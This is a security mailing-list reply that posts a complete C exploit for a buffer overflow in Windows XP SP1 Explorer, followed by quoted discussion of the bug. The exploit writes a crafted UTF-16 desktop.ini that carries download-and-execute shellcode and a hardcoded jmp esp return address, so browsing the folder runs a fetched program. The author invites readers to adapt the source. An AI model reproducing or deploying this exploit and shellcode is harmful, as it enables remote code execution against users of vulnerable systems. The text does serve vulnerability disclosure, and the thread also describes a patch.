Re[2]: EXPLOIT: Buffer overflow in Explorer.exe on Windows XP SP1

hello bugtraq,

>From MSDN:
—cut—
DWORD GetPrivateProfileSection(
LPCTSTR lpAppName,
LPTSTR lpReturnedString,
DWORD nSize,
LPCTSTR lpFileName
);
[skip]
nSize
[in] Size of the buffer pointed to by the lpReturnedString parameter, in TCHARs.
Windows 95/98/Me: The maximum buffer size is 32,767 characters.
—cut—

It's a pity that even own Microsoft programmers do not know that for
the unicode version of the function TCHAR will turn into a WCHAR.
And we speak about using unicode everywhere…

Here is an exploit for Windows XP Service Pack 1.
NOTE: the FFFE header which can be easily created with notepad is not
a new technique. It has been already used for another vulnerability in
IE (see http://security.nnov.ru/search/news.asp?binid=1782).
NOTE: the directory "domain HELL team" has to be read-only, otherwise
it won't work.
NOTE: it's possible to exploit this bug using a network shared
resource. It looks strange, but that doesn't work for samba shares.
P.S. don't blame me i didn't use argv[] for parameters. it's your
task to modify the source…

#include <fstream.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <direct.h>

char shellcode[]=
//download url and exec shellcode
//doesn't have any hardcoded values
//except the base address of the program
//searches the import table for
//LoadLibraryA, GetProcAddress and ExitProcess.
//by .einstein., dH team.
"\x81\xec\x40\x1f\x00\x00\xe8\x00\x00\x00\x00\x5d\x83\xed\x0b\xbf\x61\x57"
"\x7a\x74\xe8\x8c\x00\x00\x00\x89\xbd\x17\x01\x00\x00\xbf\x65\x1d\x22\x74"
"\xe8\x7c\x00\x00\x00\x89\xbd\x1b\x01\x00\x00\xbf\x17\x75\x79\x70\xe8\x6c"
"\x00\x00\x00\x89\xbd\x1f\x01\x00\x00\x8d\x85\x2c\x01\x00\x00\x50\x2e\xff"
"\x95\x17\x01\x00\x00\x8d\x9d\x33\x01\x00\x00\x53\x50\x2e\xff\x95\x1b\x01"
"\x00\x00\x6a\x00\x6a\x00\x8d\x8d\x4e\x01\x00\x00\x51\x8d\x8d\x5c\x01\x00"
"\x00\x51\x6a\x00\xff\xd0\x8d\x85\x23\x01\x00\x00\x50\x2e\xff\x95\x17\x01"
"\x00\x00\x8d\x9d\x46\x01\x00\x00\x53\x50\x2e\x8b\x9d\x1b\x01\x00\x00\xff"
"\xd3\x6a\x01\x8d\x8d\x4e\x01\x00\x00\x51\xff\xd0\x6a\x00\x2e\xff\x95\x1f"
"\x01\x00\x00\xbb\x3c\x00\x00\x01\x8b\x0b\x81\xc1\x04\x00\x00\x01\x8d\x41"
"\x14\x8b\x70\x68\x81\xc6\x00\x00\x00\x01\x8b\x06\x83\xf8\x00\x74\x51\x05"
"\x00\x00\x00\x01\x8b\x56\x10\x81\xc2\x00\x00\x00\x01\x8b\x18\x8b\xcb\x81"
"\xe1\x00\x00\x00\x80\x83\xf9\x00\x75\x2a\x81\xc3\x00\x00\x00\x01\x83\xc3"
"\x02\x33\xc9\x32\x0b\xc1\xc1\x08\x43\x80\x3b\x00\x75\xf5\x3b\xcf\x75\x04"
"\x8b\x3a\xeb\x16\x83\xc2\x04\x83\xc0\x04\x66\x83\x38\x00\x75\xc7\x83\xc6"
"\x14\x8b\x10\x83\xfa\x00\x74\xa8\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x00\x55\x52\x4c\x4d\x4f\x4e"
"\x00\x55\x52\x4c\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x54\x6f\x46\x69\x6c\x65"
"\x41\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x5c\x7e\x57\x52\x46\x35\x36\x33"
"\x34\x2e\x74\x6d\x70\x00";

char unicode_header[] = "\xFF\xFE";
char shell_header[] = "[.ShellClassInfo]\x0d\x0a";

#define OVERFLOW_LEN 0xA1C

void main()
{
char url[]="file://c:/winnt/system32/calc.exe";
// char url[]="http://localhost/cmd.exe&quot;;
char eip[] = "\xcc\x59\xfb\x77"; //0x77fb59cc - WinXP SP1 ntdll.dll (jmp esp)

char path[500];
strcpy(path,"domain HELL team");
mkdir(path);
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
strcat(path,"\\desktop.ini");

ofstream out(path,ios::out+ios::binary);
out.write(unicode_header,sizeof(unicode_header)-1);
char zero = 0;
for (int i=0;i<strlen(shell_header);i++)
{
out.write(&shell_header[i],1);
out.write(&zero,1);
}
char pad = 'B';
for (i=0;i<OVERFLOW_LEN;i++) out.write(&pad,1);
char ebp[] = "1234";
out.write(ebp,4);

char pad0 = 1;

out.write(eip,4);

char pad2 = 'C';
for (i=0;i<12;i++) out.write(&pad,1);

out.write(shellcode,sizeof(shellcode)-1);
out.write(url,sizeof(url));

int len = sizeof(shellcode)-1+sizeof(url);
printf("shellcode+url: %d bytes\n",len);
if (len%2 == 1)
{
printf("it's odd, so add 1 extra byte");
out.write(&pad2,1);
}

out.close();

}

.einstein.
domain HELL team.

ES> Hi:

>> -----Original Message-----
>> From: nesumin [mailto:[email protected]]

>> I could create the exploit code on my Japanese Windows XP SP1.
>> Perhaps, I think you can easily create the full exploit code
>> by the following;
>>
>> * You can directly specify all overwritten data without thinking
>> the UNICODE conversion if you create the "desktop.ini" as "UTF-16".
>> (Adding BOM and encoding "[.ShellClassInfo]\x0d\x0a".)
>>
>> * You can get the code area of about 0xFF4 bytes.
>> (Before and after RET address)

ES> Obviously, I was playing in the ANSI world. Yes, I agree with you that the
ES> exploit code written in RTF-16 can be created with a size of about 0xFF4
ES> bytes. A piece of 0xFF4 bytes long exploit code can do a lot. So, my
ES> previous statement about limited exploitation of this buffer overflow is not
ES> accurate.

ES> It should be very easy to fix this bug. I manually modified the 800H to 400h
ES> in shell32.dll to fix it.

ES> Thanks a lot for your mention of BOM and UTF-16. Your concept is learnt and
ES> programmatically reproduced with GetPrivateProfileSectionW.

ES> Best regards

ES> Peter Huang